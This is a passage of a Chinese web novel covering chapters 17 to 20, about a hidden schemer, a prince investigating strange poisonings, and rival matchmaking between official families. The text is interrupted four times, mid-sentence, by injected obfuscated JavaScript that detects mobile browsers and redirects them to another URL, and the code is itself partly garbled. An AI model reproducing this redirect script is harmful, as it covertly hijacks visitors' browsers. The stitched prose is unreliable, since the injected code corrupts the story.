北街上店铺林立，巷弄星罗棋布，住在街边上的家家户户几乎都会开门做生意，不管是卖什么，基本上都是自家买卖，就算不赚钱，亏也亏不到哪里去。 家中青壮多参军去了前线，月月都会寄钱与信件，生活并不愁，一家老小张罗生意，也只图个有事可做，再者，若生意红火，更是条后路。当然如果实在支撑不下去，百姓也不会认死理，大不了就租赁出去，月月拿租金即可。 北梁民风开放，律法对于女子亦十分宽容——允许出门抛头露面，允许独立门户，允许做正经营生，允许女子和离休夫与改嫁。 基本等同男子。 这是周边别国无法相比的。 所以当逸云坊的人得知周家的杂货铺连同上面的二层整个被人租去，且租借之人是个妇人的时候，惊讶有之，但也仅仅是惊讶了。 周家杂货铺开了许多年，算是祖辈产业了，最近这大半年，是周小老板在独自经营，因为往上两代都没人了。周小老板原是位两耳不闻窗外事的读书人，早年成过亲，但两人没生活几年，妻子就提了和离，带着唯一的女儿改嫁往别州而去。 直到妻子离去，周小老板仿佛才有了些意识，读书的时间都跟着减少，并且开始逐渐接手这家杂货铺子，只不过，并不轻松，因为做了才发现，他竟然只会读书而已。 人情来往，待客之道，察言观色，以及如何经营好铺子，他都得现学，十分吃力，比读书难太多。 去年周老板病逝，周小老板勉强撑着，加上左右邻居的帮衬，这才将父亲的后事办理妥当，之后便正式接手杂货铺，每天要死不活的。 邻居都在观望，押注周小老板到底能撑到哪天。 上个月，一个约莫五十左右的妇人带着两个小厮走进了周家杂货铺，出来时，妇人手中什么都没拿，周小老板却亲自相送，神情说不上是放松还是难堪，到妇人走没影了，才有些如释重负，甚至转身回去的时候，脸上还有了好久不见的笑容。 押注的邻居们相互对视，然后有的人认命掏钱，有的人喜笑颜开，有的人捏起鼻子翻白眼不愿看那小人得志的模样，有的人手舞足蹈，说着难怪那日碰见个算命的，说近日定有偏财进账。 还有那不死心的，亲自走进铺子去旁敲侧击，得到了准信，这才不情不愿掏钱了事。 周家杂货铺被方才那冤大头妇人给整个租去了！且一租就是整年！ 邻居们眼睁睁看着周小老板用租金在平京城的郊区买了个小院，听说连一小半的租金都没用上，一摞摞的书搬进去，还去牙行买了两个丫鬟与一个小厮，就那么关起门来过起了自己的日子。 没几日，周家杂货铺便更名换牌，易作“丝绦堂”。 平京城没有人知道“丝绦堂”是做什么的，青州距此相当遥远，即便做出的珠钗首饰再漂亮再独一无二，织出来的丝绢绸缎再如何柔软细腻，在这里却根本不会有人知道。 他们只知道“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443173|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翠玉阁”与“琳琅轩”，还都是这辈子或许都去不起的地方。 杂货铺的陈设老旧，什么都要换新，格局布置都得重新做，是要费好大一番工夫的。 不过这都是些小事，只要东西是最好的，铺子能顺利开业，其他都不是问题。 期间就有那邻居过来与妇人搭话，说些这铺子先前的一些个光景，好的赖的，说到最后基本都会再感叹一句“好好的祖业就这么败坏没了，真是作孽呦”，并一声叹息，然后摇摇晃晃回到自己那间要死不活的商铺。 周围卖什么的都有，成衣，摆设，吃食，茶馆酒肆，远处还有菜铺和肉铺，再远了，还有学塾，每日每日的朗朗读书声，在这喧嚣的地方独树一帜。 妇人也喜欢跟人聊些个有的没的，整天笑眯眯，见到谁过来，都会抓上一把花生瓜子递过去，若有小孩子，还要再搭上几样果脯糖果。没几日，左右邻居只要一提到这家“丝绦堂”，都会是个赞不绝口的样子。 收拾一个月，才大致有了个雏形，看样子还得再多一两个月，才能开张做生意。 韵采率先下车，拿了钥匙开门。 节日已过，到这个时候，除了更夫，街上行人寥寥。 打开门，再将袁彦扶下来，两人悄然进屋。 文五在车上等着，百无聊赖，从一旁的袋子里掏出一油纸包，打开，将里面的包子拿出来。 是方才等在瑞王府时跑去买的，这会还热着。 大口大口吃包子的时候，她并未注意，就在不远处的街角，有人悄无声息落地，正目不转睛地望着她。 袁彦往楼上走，这间铺子占地不小，三层格局分布差不多，只不过上面两层白日更亮堂些。两人停在二楼的窗前，窗子打开一条缝，袁彦向外望去。 “从这里就能望见康平王府的院子了，”韵采早前就来过，对这里周围已有了解，“不过只有后院，琳琅轩倒是能看得更全面些，就是那位曲老板不愿转手生意。” 袁彦笑笑，“总不能事事都如愿。” 她伸手开窗，微微阔了阔视野，得以更清楚地望见那座宅院，那曾是长姐的囚笼。 只有一点点光亮。 “回去吧。” － 再次返回的无为在谢兆面前无比确认，“殿下，属下看得清清楚楚，就是那个人！” 谢兆坐在书房的桌案后，一本书反复翻看，却始终不得其中真义。 或许是那杯不甘示弱的酒，又或许今夜说了太多的话，入睡后，竟教那薛千金再次入梦。 这次不再朦朦胧胧，也未有任何铺垫，仿佛还是在晚间的那处小院子，前厅中，就是那真真切切的一张脸，她站在离他几步远的距离，朝他笑着揖礼，张嘴叫他：“兆儿哥哥。” 一声声，像是直接敲在耳边。 他刚要有所动作，她便转身跑向远方，而他有心去追，却发现双腿有如千斤重。 “兆儿哥哥！” “知微！” “知微！” 人已经望不到影子，声音却仍在耳畔。 “阿彦……” 谢兆翻了个身，呢喃一句，缓缓陷入更深的梦中。 18. 第 18 章 马车停在自家府门口，门房小厮立刻殷切跑来摆放马凳，崔氏先于女儿郭阮下去，就立刻看见门口处站着的锦袍公子，免不得一笑，招手将他叫过来，“尧儿这是专程在等娘回来吗？” 郭文尧温和一笑，点头道：“自然是在等娘，还有妹妹。”说话间长臂一伸，给后来下车的妹妹搭了把手，不忘提醒，“小心些。” 郭阮冲他柔柔一笑，“谢过二哥。” 礼部尚书郭汝明，除了正房夫人崔氏之外，另娶了三房妾室，共育有两位嫡子并一位嫡女，以及四位庶子，还有两位庶女。 老母亲住在府中内院，是单独隔出来的，常年不出来走动，屋中设有佛堂，每天除了睡觉，就是吃斋念佛，或是跪在那，嘴里念念有词，倒也不像念经，具体说了什么，可能也就只有自己知道。 郭汝明每日都会过去问安，老太太心疼几个儿媳和孙子们，倒是早早发话免了他们的晨昏定省。久而久之，所有人仿佛都忘了这个老祖宗的存在。 去年郭文尧喜中探花，留在京中国子监，出任司业一职，从六品，官职不大，做起来却一点不轻松，好在天生聪颖，暂时应付得来。 “你爹可回来了？”崔氏拉着郭文尧的手，三人一同往院子去。 “没呢，着人传了话回来，说是要晚些，春闱马上就要开始，礼部现下正是最忙的时候。” 崔氏微微一叹，“都染了风寒的人，也不知道爱惜爱惜自己的身子。” 郭阮抿嘴笑，“母亲最是心疼父亲。” 郭文尧道：“母亲放心，药已经让人送过去了，且儿子早就叮嘱，教人盯着父亲喝完再回，父亲的的确确是喝了药的。” 崔氏感慨，“有你们我是真放心。” “母亲这是说的哪里话，做儿女的照顾父亲母亲，可是天经地义之事。” 郭阮转了转眼眸，笑嘻嘻地说自己的兄长，“二哥现在这般说，不知将来娶了嫂嫂进门，到时候会不会自扇巴掌哦！” 崔氏轻轻拍了女儿的手，嗔道：“不像话！” 郭文尧敛了敛眉目，像是不经意的，问了句：“母亲和妹妹今日在瑞王府，可有什么高兴事？” 崔氏瞥了眼儿子，笑得十分了然，却故意不顺着他去，不理他话外话，“嗯”了声，“打春宴年年去，自然是高兴的。” 郭阮早就知道二哥心思，这会亦听出些味道，只是起了调笑的念头，“说起这个，白日在瑞王府，还听工部下面的几个女眷议论来着，讲了二哥诸多好处，听着很像对二哥你有意呢，尤其是那青罗宴氏，如今他们嫡出这一支在京中扎根，若是家中女儿能再嫁个像样的人家，便就是件一本万利的事了！” 郭文尧正色道：“婚姻大事岂可拿来做生意，阿阮，这种说辞以后万不能在人前说出口！” 郭阮只好闷闷点头，低头时却忍不住暗暗翻个白眼，二哥哪哪都好，就是在有些事情上，相当较真。 崔氏对宴氏女儿颇有印象，插话道：“是了，晏家今儿带了三个女儿，真是一个比一个漂亮，性子瞧着也不像是那缺教养的跋扈样，若能娶进门，想必会是个安生的。” 郭文尧有些无奈，“母亲……” 崔氏比他更加无奈，“尧儿，那薛家嫡女到底哪里入了你的眼，能让你同我百般绕弯子？往日应了你的乞求，也去过薛府几次，可次次都是那妫氏招待我，想要见一见那嫡女，真是难如登天了！” 郭文尧看了妹妹郭阮一眼，后者吐了吐舌头，识趣地同母亲与兄长告别，“今儿在外一整日，实在是乏累，我要回去沐浴休息了！” 待人走远，母子俩继续往内院去，郭文尧沉默半晌，方轻声开口：“母亲，既然说到这，我便将心中想法一并同您说了。自幼，我便如父亲与母亲所期待的那样，除了读书，别的都放到一边，什么都不想，旁的也什么都不去做，直到去年，也确实是功夫不负有心人，儿子中了个探花回来，您二老发自内心的高兴，我见了，亦是开心不已，可又没那么高兴。” 崔氏扭头，愣愣看向自己这个所有人都看好的读书种子。 郭文尧声音沉沉，“母亲觉得难以理解，儿子有时扪心自问，也颇为不解，探花郎，这大概是大多数的读书人所追求的目标，为何我得到了，心情却仍然郁郁，仍然怅然若失？” 崔氏忽然有种呼吸不畅的感觉，她只是下意识地抓住郭文尧的手臂，惶惶地告诉他：“尧儿莫想这么多，母亲明日便再去一趟薛家，不行，后日，后日定会去，你放心，无论如何，我都要去再见一见那位薛家嫡女，”她垂下眼，嘴里却不停，“今日原本是有机会说两句的，可有了些突发状况，我便压下念头，明日便让人去送拜帖，母亲同你保证，结亲这件事，争取立刻就定下来！” 郭文尧脸色颓靡，语气涩然，“母亲，儿子如今就只剩这一个愿望了。” “明白，母亲都明白，”崔氏心中不定，却还是出声安慰他，“没关系，再如何，也不过就是个薛家嫡女而已，况且还是个流落在外多年的，谁知道她在外头都出过什么事？况且你父亲如今在陛下面前得脸，薛家却不如往昔，咱们家没嫌弃已是天大的宽容，母亲一定帮你把她娶进门！” 郭文尧唇角一弯，笑容灿烂。 “那儿子就静候母亲的佳音。” － 袁彦回到薛府，时候已经不算早了，门房恭恭敬敬，半点不敢怠慢。 韵采扔给门房一小串铜钱，门房笑得合不拢嘴。 明秋一直等在外院的前厅处，听见动静连忙跑出来，“姑娘，夫人自打回来，就每隔一刻钟便着人到水天居，问一声姑娘你可回府了。” 袁彦点点头，看了她一眼，“母亲可还留了别的话？” 明秋摇头，“夫人只是问姑娘是否回来，其他的倒没有提过。” 此刻已接近亥时，想必妫氏早就睡下。 “先回去吧，我累了，有事明日再说。” 明秋微微蹲身揖礼，“是。” 路过的时候，韵采扭头直愣愣看了她一眼，而后点头一笑，把明秋看得内心咯噔一下。 袁彦没有直接回卧房，而是改道去了书房，只留了韵采，让也想跟着进去的明秋下去休息。 明秋不情不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443174|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿，可又不敢忤逆，望向那扇紧闭的门，内心无比煎熬。 “这人是个不安分的。”即使门窗紧闭，韵采还是敏锐地察觉到明秋仍犹豫不肯离去，“要不要我出去教教她？” “随她去，”袁彦坐在桌案后，神色微有些倦怠，韵采见状，便过去给她轻轻按揉太阳穴，舒服的叹息一声，“我会找个由头将她嫁出去的。” “先前那薛夫人不是给相看了好几个人家，她不都看不上？”韵采的嫌弃毫不掩饰，“眼高于顶啊，也不看看自己什么身份，得了个‘薛’姓，就真当自己是千金小姐了！” 袁彦闭上眼睛，“她是不是府上的小姐，无可无不可，当然如果妫氏和薛大人没意见的话，我也很愿意让她做实了小姐的身份，心思单纯又野心勃勃的人，用起来才没有顾虑。” “姑娘是有想法了？” 袁彦点头，轻轻“嗯”了声，末了幽幽一叹，“我不想惹事，偏偏事来惹我啊。” 向来聪慧的韵采这会却如何也想不明白袁彦为何会有此一说了，有心想问一问，只是看着她舒适的模样，便只好作罢。 惹来的事定不会是个轻松的，姑娘眼下正放松，还是莫要去让她烦恼。 “让人去探一探岳阳侯家的情况，”袁彦忽然开口，“郭瑜今天那副失魂落魄的样子，不像是在司空朔那吃了闭门羹的表现。” “晓得了。” “康平王今日进了宫，应该已经把自己这些年的委屈都倒出去了，老皇帝即使心中不乐意，也肯定不会一点面子都不给自己这位装鹌鹑装了这么些年的儿子，所以明天起他就该有所动作，”说到这袁彦轻轻一笑，“真好玩啊。” 韵采说：“我们在宫中的布置有些棘手，但不难解决，应该近期就会有消息。” “不急，”袁彦直起身，示意韵采研墨，眼前铺着一张宣纸，她用镇纸将之摆放好，而后拿起一根细羊毫笔，垂眸想了想，“京中女眷，毕竟常年生活在深宅内院，一辈子都耗在跟婆母妯娌姊妹勾心斗角上了，看事情往往就只看自己眼前那一亩三分地，就算结交上，用处相对也没那么大，顶多是吹吹枕边风，或者做女儿的撒撒娇，还是得跟朝中各路官员搭上线，摊子铺开了，到时候才会为我所用。” 她蘸饱了墨汁，在纸上分别写下“内宅”与“朝堂”四个字。 “只是京中这些爬到高位上的老狐狸们，心中各有一个金算盘，名利都在其上，与他们周旋，就如踩在刀尖上，稍不留意，随时都会被扎出血来。” 边说着，纸上又出现了两个字：名利。 “不过这都只是些小事情，并非不能解决，最最关键处，是该如何不着痕迹地顺势而为。” 她又在纸上写下“棋盘”二字，紧接着的，是个“七”字。 韵采听着她的轻声呢喃，忽然有些口干舌燥。 “姑娘……” 袁彦回过神，灿然一笑，搁了笔，将纸折成长条，就着蜡烛点燃，灰烬一点点落进玉色笔洗中。 她轻声说：“这个朝堂让人太不舒服了，我想换一个，只是成王败寇，瞬息之间而已。” 19. 第 19 章 晌午过后，许仵作匆匆忙忙来了刑部，门口碰上林三刀，得知侍郎大人此刻就在卷录阁内，便顾不得林三刀的欲言又止，直奔而去。 谢兆正与他人议事，是关于去年五月初五东莱郡郡守一家十余口皆丧命一事，下面的人查了大半年，仍然给不出个合理结果——这本在大理寺职责范围内，奈何当时距离灭门惨案不过一旬，一把手与二把手便意外双双入狱，新上任的大理寺卿除了油嘴滑舌就是投机取巧，正事干不了一点，狗屁倒灶的事倒一件连着一件，如此上行下效，大理寺内部如今可谓乌烟瘴气。 朝堂上日日吵了又吵，却始终给不出什么章程，都是嘴上说得厉害，谁也不愿意接手这么个烂摊子。 太庆帝只好和刑部侍郎在御书房做了笔买卖，因此之后的各地包括平京城内的所有大案要案，都归刑部暂管。 是故谢兆每日忙得有家顾不上回，也并不全是为了躲着瑞太妃。 “……清吏司费郎中现已联合潡洲刺史魏文礼带人火速前往，那伙人眼下就在龙门镇内，镇中百姓过万，县衙人手不够，不敢打草惊蛇。至消息传回，推算下来，费郎中与魏刺史应该开始着手设计围困贼人，甚至或许已将贼人尽数捉拿。” 谢兆抬头瞥了眼对面。 李主事立即感到汗流浃背，有心欲抬手擦汗，却始终没那个胆子。 天菩萨，他一个小小主事，何德何能进了这卷录阁，居然还与侍郎大人有问有答？虽说事都是他经手办的，可按资排辈，怎么着也轮不上他进这来吧？ 自打谢兆将桌案搬进卷录阁，但凡他在，屋门便没有关上过，因此许仵作匆匆赶来，便能被一眼看见。 谢兆提笔在纸上写了两行字，待墨干，折上放进信封中，递过去，“比部司那边已经打好招呼，你将这个拿过去，支些钱，亲自去一趟龙门镇。” 李主事一颗心怦怦跳，接信封的时候，手都是颤抖的。 谢兆视线直直望过去，“李主事，去到那边具体该怎么做，需要我现在教你吗？” 李主事猛然间福至心灵，连忙一揖到底，“下官明白，无需侍郎大人提点。” 谢兆起身将人送出，而后许仵作紧跟着进来，这回他说话没了什么铺垫，非常直截了当，“大人，那三人皮肉尚在，只是就在方才卑职过来之前，发现虽然表面几乎没有变化，但其实内里已经木化，也就是说，”许仵作下意识吞咽了一下，“他们现在相当于一张人皮里面裹着一堆木头。” 不是他小题大做，实在是过于匪夷所思，跟尸体打了这么多年的交道，什么样的情况没见过，可如今仍然如此层出不穷，真是学无止境，容不得他有丝毫懈怠。 谢兆仿佛早有所料，并不如何惊讶。 许仵作垂头丧气道：“卑职干了这么多年仵作，真心觉得匪夷所思，师父那些手札笔记已经足够猎奇，却也未曾见过此般现象——中毒而死，死后尸体不僵，内里却又有那般变化，实在是……” “除此之外，你认为还能在他们的尸身上找到更有用的线索吗？” 许仵作沉吟，随即说道：“大人，单就卑职这边看来，这桩案子实在不好查，除了知道是毒发身亡之外，再无任何可以取用的线索，下毒的人手法娴熟，连痕迹都遮掩的干干净净，卑职经验不够，”说到这他重重一叹，“也不知那三人到底干了什么，竟然死得这般惨。” 谢兆没说话，思绪却飘得有点远，然后他骤然回过神，改了主意，对站在门口的小吏吩咐：“去把林三刀叫来。” 小吏领了命令，撒腿便跑。 “事情我已知晓，你回去将记录一五一十写好册子交给我，别的就不用你管了。” 许仵作不作任何他想，领命告退。 不多时，林三刀匆忙赶过来。 “去通知姜主事一家，让他们把尸身领回去。” 林三刀多问了一嘴，“大人，那案子……” “就说还在查，但死者为大，尽早入土为安。” 待阁中只有谢兆一人独坐，忽觉口干舌燥，瞥了眼桌上放凉了的杯中茶，去拿水壶的手微微一顿，然后他起身向外走。 “备车。” 立即便有小吏飞奔而去。 马车不紧不慢等在了必经之地，此处并非闹市，相对安静，对向缓缓而来另外一辆马车。 两车相遇，谢兆车帘半掀，对面也在小厮汇报过后，掀帘子向外望。 谢兆笑着打招呼，“薛尚书，多日不见，你瞧着又清减了不少。” 薛崇贵权衡一番，自行下了马车，见礼道：“瑞王殿下。” “不必拘礼，”谢兆摆手道，“薛尚书，那日在府中喝的那盏茶，我回去之后回味颇多，不知今日可有机会再去府中讨要一杯？” 薛崇贵哪里敢拒绝，“自然，自然，粗茶而已，不想得了殿下的青睐，下官家中尚有不少储存，晚一些定会送到殿下府上。” 谢兆建议，“如此，我便与你同乘一辆吧。” 薛崇贵弓腰揖礼，“下官车驾寒酸，殿下金尊玉贵……” 不等他说完，谢兆已然下了车，“无妨，薛尚书才情横溢，我近日读书，恰有许多地方不甚明了，便就借着这个机会向尚书大人讨教讨教了，”言罢吩咐自己车夫，“远远跟着便是。” 薛崇贵只能同意。 上了车，谢兆却并不急着讨教一番，反而是对他过往之事颇感兴趣。 “尚书大人过谦，这马车哪里寒酸了？我看十分舒适宽敞！”谢兆环顾四周，面上带笑。 薛崇贵连忙矮了矮上半身道：“自然不能与殿下的车驾相比。” “尚书大人在南疆多年，想必早已对那边的人文风俗了如指掌了？” 薛崇贵斟酌道：“不敢说全部，大多数是知道的。” 谢兆点点头，“那尚书大人在南疆时，可听说过‘蓝玉’其人？” 薛崇贵不露声色，想了想，像是在回忆，缓缓说道：“的确听当地百姓提起过，尤其是老一辈的人，时常坐在树下纳凉，四周围着一圈小孩儿，许多脍炙人口的故事当中就有说到过这位姑娘。” 谢兆来了兴致，“都是些什么故事？” “不过就是些山泽精魅、人鬼殊途一类，”薛崇贵半点不敢怠慢，想到什么就说什么，“那位蓝玉姑娘在南疆应该是个传奇的存在，所以编纂故事的人非常喜欢在其中加些志怪内容，对于她，有人恨极，比如医术高超，有人却也佩服至极，仍是因她医术高超。人心不外如此。” 谢兆说：“茶馆里有那走南闯北的说书先生，偶尔也会说起此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443175|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “殿下好雅兴，下官对这些倒没那些兴致，委实是不好这一口。” 谢兆一笑，“朝中谁人不知，薛尚书最是清廉顾家之人，每日散职后哪里都不去，只盼着快些回家才好。尚书大人与夫人的感情实在让人羡慕。” 薛崇贵附和而笑，却不对此多说什么。 “听闻蓝玉曾是医毒方面的个中高手，尚书大人可听闻过一两件这样的事？” 薛崇贵思索几息，开口说：“殿下恕罪，关于这个，其实都是些道听途说，因为蓝玉早已不知所踪，所以这其中的真真假假，只能靠听者自行分辨了。” “但说无妨。” “听闻早年间，那蓝玉姑娘学成出师，不过十二三岁，便一人挑了南疆一个颇有威望的山头，那山头应是师门仇家，整座帮派无一人幸免，皆死状可怖，有些不知是没死透还是什么，竟在官府前去收尸时，直立而走，然眼神若痴呆，四肢僵硬，见人便咬，许多官吏一时不查中招，当晚高烧不退，伤口腐烂迅速，药石罔效，及至下葬，身上再无一块完好皮肤，官府上下苦不堪言。后来有一胆小之人被逼无奈，拔刀乱砍，不知是福至心灵或是什么，一刀砍断尸身头颅，这才见那无头之物原地僵立片刻，待要再补上几刀时，摇摇倒地。同僚见状顾不及对其夸赞，纷纷拔刀照做，方将这为乱多日的怪物彻底杀死。” 谢兆听罢感慨道：“世间毒物千奇百怪，发现毒物并加以利用之人，更是当世奇人。” 薛崇贵同意之余又不敢完全苟同，只好说：“南疆多瘴气，催生出千百种毒物，老话讲靠山吃山靠水吃水，南疆物产单一，便只能靠这些上不得台面的东西做些营生。” “这桩案子后来如何处理？” 薛崇贵道：“不了了之。” 谢兆意外也不意外，“何解？” “官府查了几日，苦于找不到任何证据，所谓的仇家和报复都是城中百姓口口相传，很有同行泼脏水的嫌疑。据说官府也找到了那位蓝玉姑娘，有意将她捉拿归案，后来却没成，依旧是证据不足，官府断案，总不能被百姓一些似是而非的话左右。” “当然，毒害杀人这都只是些传闻而已，无凭无据，当不得真。其实有关那位蓝玉姑娘的事，并不仅仅是这种杀人于无形的传说，很多人更受过她的恩，这是有据可查的，因为她曾在南疆一家医馆坐诊。医毒医毒，首先是医，毒在其次，看不起病只能等死的平民百姓，很多都是蓝玉随手为之，便妙手回春。” “不过后来她这个人便销声匿迹，再没谁见过她，有的说她是试药死了，有的说她结仇太多，是以改头换面，东躲西藏去了。南疆有一处她的衣冠冢，是受过恩惠的人偷偷立的，搭了茅屋，日日睡在那，防止有人挖坟掘墓。” 谢兆道：“人心皆有善恶两面，大奸大恶与至纯至善都是过犹不及，只是如何评判一个人的好坏，其实并没有一个非常明确的标准。” 薛崇贵道：“殿下高见。” 谢兆微微一笑，随手掀开车帘，尚书府就在不远处，“薛尚书家今日有客登门？” 薛崇贵也掀开他那一侧窗上的帘子，望见那辆马车，这才想起来，“是礼部郭大人的夫人，昨日递来拜帖，说有事相商。” 谢兆撂了帘子，眉目微微上挑。 20. 第 20 章 崔氏在府中歇了晌，方才坐上马车去了尚书府。 府里周管家早得了吩咐，客客气气将人领进了前厅，这几日回温，地龙都不用烧，屋子里也不见多少冷清。 奉茶丫鬟给上了茶，妫氏才不紧不慢带着明秋从后院走了过来，踏进门之前，脸上便先一步有了笑模样。 “郭姐姐恕罪，我这实在是昨日不慎吹了风，今早醒了便犯头痛——怠慢了姐姐，姐姐你可千万莫见怪。” 崔氏到底是带着目的前来，所以姿态上摆得就低了许多，她起身迎过去，亲亲热热握住妫氏的手，“无妨的无妨的，若早知道你今日身子不爽利，我便改日再来了，咱们姐妹没那些讲究，倒是耽搁了妹妹静养，哪里还能怪罪！” 妫氏也反握住崔氏的手，仿佛真是那亲姊妹，“姐姐莫要如此说，你能过来，妹妹高兴呢！” 两人随即分开，双双落座。 明秋也和崔氏见了礼，而后安安静静站在了妫氏身边。她今日很是打扮了一番，穿的用的都是妫氏特意选了让翠语送过去的，连妆容都是妫氏的妆娘亲自去给上的。一番举措，可谓重视至极。 崔氏是见过翠语的，却没有见过眼前这个，观她穿戴妆容，崔氏心中几分猜测，忍不住多看了几眼。 明秋目不斜视，神情自若，只拿余光偷偷瞥向那一道视线，她心中想着那位嫡长女平日里的做派，便照猫画虎，感觉自己也能学出七八分韵味，宛如真正的闺阁小姐。 妫氏暗暗将崔氏的目光收在眼底，心里的底气随之增多。 客气寒暄的话来回就那么几句，说完再重复便图惹人厌，崔氏借机抿了一口茶，放下之后就说起了正事，“灵姑娘这会可在家呢？” 妫氏一脸歉意，叹气道：“不巧了，昨儿去我那问安的时候，就提起说是今天要去郊外踏春赏景，我是不敢拦着的，也同她说了姐姐要来的事，可她仍然一大早就出府，到这会了还未回。不过姐姐放心，我方才让人出去寻了，估摸过一会就会有回音。” 崔氏心中未免生出不快。 妫氏觑着她的脸色，面上随即覆了层苦笑，说道：“姐姐要怪就怪我吧，可妹妹也是有心无力呀，姐姐你是知晓的，我是薛家的续弦，灵姑娘又是自幼走丢，我与她之间岂是隔着几层隔阂那么简单？虽说这两年相处时日不算短，可到底人心隔肚皮，我们灵姐儿的脾气，唉……每每只是面子上过得去，私下里的光景，谁又能全晓得呢？” 一番话将崔氏本欲发作的心思压了下去，可自己舍了脸皮不要的三番五次上门，次次都好似吃了闭门羹，这口气真是如何也咽不下去，于是开口，说了句作为外人已是极其不客气的话：“到底不是放在身边养着的，连起码的礼数都不懂！” 妫氏微微一叹，侧身握住了明秋的手，“幸好家里还有两个贴心的，不然这日子啊真是没法过了！” 崔氏的视线再次落在了明秋身上。 一张脸生的不是特别明艳，胜在五官匀称立体，尤其一双眼睛，大而传神，十分不俗。个子不高不矮，裙衫穿在她身上，很是相得益彰。 崔氏看了几眼，越发满意。 “这位是？” 妫氏闻言，偏过头瞧了一眼，微笑道：“明秋，还不去给郭夫人问安。” 明秋依言走出几步到崔氏面前，再次揖礼。 妫氏面上带了几分忧愁，“我娘家哥哥很早就病逝，嫂嫂改嫁后，我这侄女就没人理了，才两岁大的娃娃，哪个忍心她独个去受苦？我是看不过眼的，便同夫君商量，夫君心善，亲自陪我去将人接回了府中，过继在我名下，自那之后，就一直养在身边。” 不知是妫氏这段话说得太过真实不虚，还是崔氏心中给了连她自己都没意识到的暗示，总之在听过之后，她再去看明秋，竟觉得那姑侄俩好似确实长得至少三分相像。 “妹妹如此有心，秋姑娘能在你身边长大也算是她的造化福气了。” 明秋微笑不语，恰到好处地偏头和妫氏对视，不管双方心里想的是什么，此刻眼中却是一个由衷感激，一个由衷欣慰。 崔氏试探道：“可曾许了人家？” 妫氏道：“没呢，说出来不怕姐姐笑话，我是自己舍不得，毕竟嫁出去了，往后想要再回娘家都得掂量再掂量，再不能随心所欲，毕竟婆家到底如何，只有我们明秋自己心里晓得，若是个里外都光鲜的倒也罢了，可如果是那善做表面功夫的，便真就是有苦无处说了。只要想到这个，我心中就更加不舍，总觉得能拖一年是一年。” 明秋恰到好处地轻轻拍抚妫氏后背，似在安慰。 崔氏便说：“也有规矩没那么多的婆家，秋姑娘这般好相貌，想找什么人家没有？只能是姑娘挑婆家，断不会婆家挑媳妇的。” 妫氏叹息一声，“希望如此吧。” 崔氏心中其实也没什么底，她如今算是病急乱投医，儿子自打见过那在外野了多年的薛灵便好似撒了癔症，做什么就要非她不娶？况且她几次上门想要当面见上一见，人家架子摆得老大，愣是连个当面说话的机会都不给！ 这样的姑娘若将来娶进家门，安不安分尚且不知，还指不定要怎样作践她这个婆母了！ 长了那么一副狐媚子样，谁知道在外野那么多年都做过什么？儿子清清白白，偏要娶这么个不干不净之人，以后要是真有那野姘头找上门来，那他们郭家也不必再在这平京城待下去了！ 崔氏越想越确定，那薛灵，是万万不能踏进他们郭家大门的！ “冒昧问一问，咱们秋姑娘是哪年哪月生人？” 妫氏待要开口，周管家在门口和两位夫人见了礼，而后对妫氏道：“夫人，老爷回来了。” 崔氏心知说亲一事不能太心急，何况今日过来并非一无所获，闻言便忙起身道：“如此我便不叨扰，妹妹，咱们改日再叙？” 妫氏也跟着起身，“当然当然，姐姐若有事不便过来，可差人来府上递话，到时候再做安排。” 说话时她眼神有意无意瞥向明秋，崔氏如何不懂，了然笑着点了点头，说“一定一定”。 周管家领着崔氏走了另外的路，没有和薛尚书碰上面。 妫氏目送几人远去，脸上的笑容随之一淡，转头吩咐明秋，“你去后院。”全然没了方才的其乐融融。 明秋嘴角牵起一丝讥讽，也不拿她当回事，扭头走了。 妫氏在她身后咬牙，半晌才缓缓松了口。 “翠语！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443176|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等在亭子中许久的婢女听见呼喊，匆匆忙忙跑了过去。 妫氏没好气道：“瞎了你的眼吗？人都走了你还杵在那干什么？赏景？在这府上住着就真把自己当千金小姐了吗？还得让我伺候伺候你？” 翠语低头不语，任打任骂。 